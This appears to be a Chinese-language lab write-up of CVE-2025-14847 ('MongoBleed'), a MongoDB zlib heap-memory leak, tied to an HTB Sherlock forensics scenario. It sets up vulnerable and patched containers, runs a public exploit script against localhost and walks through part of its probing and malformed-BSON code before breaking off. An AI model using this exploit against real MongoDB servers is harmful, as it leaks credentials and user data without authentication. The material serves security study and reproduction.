MangoBleed(CVE-2025-14847)
本文分析了CVE-2025-14847漏洞原理、漏洞复现以及结合了HTB靶场的Sherlock进行综合分析日志。
Sherlock Scenario
You were contacted early this morning to handle a high‑priority incident involving a suspected compromised server. The host, mongodbsync, is a secondary MongoDB server. According to the administrator, it's maintained once a month, and they recently became aware of a vulnerability referred to as MongoBleed. As a precaution, the administrator has provided you with root-level access to facilitate your investigation.
You have already collected a triage acquisition from the server using UAC. Perform a rapid triage analysis of the collected artifacts to determine whether the system has been compromised, identify any attacker activity (initial access, persistence, privilege escalation, lateral movement, or data access/exfiltration), and summarize your findings with an initial incident assessment and recommended next steps.
Task1
What is the CVE ID designated to the MongoDB vulnerability explained in the scenario?
网上搜一下也就是最近爆出来的
CVE-2025-14847
漏洞简介
- 类型:无认证远程堆内存泄露
- 危害:攻击者无需认证即可从服务器内存中提取敏感数据,可能包括数据库凭证、API密钥、会话令牌、用户数据等
漏洞原理
根源在于MongoDB的zlib网络消息压缩处理逻辑:
- MongoDB支持客户端发送压缩消息。
- 攻击者发送特质畸形的压缩包,在消息头中故意制造长度字段不一致
- 服务器在解压时会分配过大缓冲区,并错误地将未初始化地堆内存作为有效数据返回给攻击者。
- 此过程多次发送不同偏移的畸形请求,攻击者可逐步提取内存碎片,聚合后可能恢复敏感信息。
- 不是直接RCE,但泄露的凭证可导致后续横向移动或数据窃取。
受影响版本
几乎所有2017年以来启用zlib压缩的MongoDB Server版本,包括主流分支:
- 8.x系列(至8.2.2)
- 7.0.x、6.0.x、5.0.x、4.4.x等遗留版本
- 具体:影响4.4、5.0、6.0、7.0、8.0全系列(直到2025年11月版本)
环境搭建
1.docker环境
docker-compose.yml- version: '3.8'
- services:
- # 受漏洞影响的版本(开启 Zlib)
- mongodb-vulnerable:
- image: mongo:6.0.14
- container_name: mongodb-vulnerable
- ports:
- - "27017:27017"
- command: mongod --networkMessageCompressors snappy,zlib
- # 已修复的版本(用于对比测试)
- mongodb-patched:
- image: mongo:6.0.27
- container_name: mongodb-patched
- ports:
- - "27018:27017"
- command: mongod --networkMessageCompressors snappy,zlib
- volumes:
- mongodb-data:
- mongodb-patched-data:
复制代码 拉取镜像拉取失败的可以使用这个仓库的镜像源配置工具:- git clone https://github.com/hzhsec/docker_proxy.git
- chmod +x *.sh
- ./docker-proxy.sh
复制代码 等镜像源换完,再拉取
漏洞复现
- git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.git
- cd CVE-2025-14847_Expolit
复制代码 创建虚拟环境- python -m venv myenv
- source myenv/bin/activate
复制代码 安装依赖包- pip install -r requirements.txt
- python mongobleed_pro.py -h
复制代码
使用本地的27017漏洞版本测试- python mongobleed_pro.py --target http://localhost:27017
复制代码
泄露了数据,保存在本地的dump_localhost.bin,loot_localhost.txt
同时测试一下27018端口
没有漏洞
漏洞分析
我们从exp上去分析一下
第一步:- sock = socket.socket()
- sock.settimeout(3)
- sock.connect((host, port)) # 尝试连接MongoDB默认端口27017
复制代码 第二步:
check_vulnerability()漏洞存在性检测- def check_vulnerability(host, port):
- hacker_loading("Probing target defenses", 1)
- test_offsets = [100, 500, 1000, 1500, 2000, 3000]
- for offset in test_offsets:
- response = send_probe(host, port, offset, offset + 500)
- if extract_leaks(response):
- return True
- return False
复制代码 通过不同的"偏移量(offset)"发送请求,只要能从响应中提取到非预期数据,就判定目标漏洞未修复。
第三步:
send_probe()构造payload
[code]# 1. 构造畸形的BSON文档(MongoDB的数据格式)content = b'\x10a\x00\x01\x00\x00\x00'bson = struct.pack(' |